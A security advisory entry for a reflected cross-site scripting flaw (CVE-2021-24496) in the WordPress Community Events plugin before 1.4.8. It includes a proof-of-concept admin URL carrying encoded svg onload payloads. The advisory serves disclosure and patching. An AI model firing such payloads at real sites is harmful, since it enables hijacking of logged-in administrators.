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Community Event < 1.4.8 - Reflected Cross-Site Scripting (XSS)

Description

The plugin does not sanitise, validate or escape its importrowscount and successimportcount GET parameters before outputting them back in an admin page, leading to a reflected Cross-Site Scripting issue which will be executed in the context of a logged in administrator

Proof of Concept

http://wp.lab/wordpress/wp-admin/admin.php?page=community-events-venues&messages=9&importrowscount=%3Csvg%2Fonload%3Dalert%28%2FXSS%2F%29%3E&successimportcount=%3Csvg%2Fonload%3Dalert%28%2FXSS2%2F%29%3E 

Affects Plugins

community-events
Fixed in version 1.4.8

References

CVE
CVE-2021-24496

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

iohex

Submitter

iohex

Submitter twitter
iohehe
Verified

Yes

WPVDB ID
5fd1cb7f-a036-4c5b-9557-0ffd4ef6b834

Timeline

Publicly Published

2021-07-02 (about 1 years ago)

Added

2021-07-02 (about 1 years ago)

Last Updated

2022-01-17 (about 1 years ago)

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